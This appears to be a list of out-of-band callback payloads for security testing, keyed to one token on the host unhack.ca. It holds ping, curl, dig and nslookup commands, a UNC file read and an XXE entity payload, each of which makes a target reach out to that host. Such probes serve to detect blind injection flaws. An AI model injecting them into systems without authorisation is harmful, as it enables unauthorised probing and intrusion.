$ ping -c1 -p 00aadbed09ea54e193174bb64a471300 unhack.ca
 

$ curl http://unhack.ca/p/aadbed09ea54e193174bb64a4713
 

$ dig aadbed09ea54e193174bb64a4713 @unhack.ca
 

$ dig aadbed09ea54e193174bb64a4713.ns.unhack.ca
 

C:\> nslookup aadbed09ea54e193174bb64a4713 unhack.ca
 

C:\> type \\unhack.ca\aadbed09ea54e193174bb64a4713\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/aadbed09ea54e193174bb64a4713">]>
    <foo>&xxe;</foo>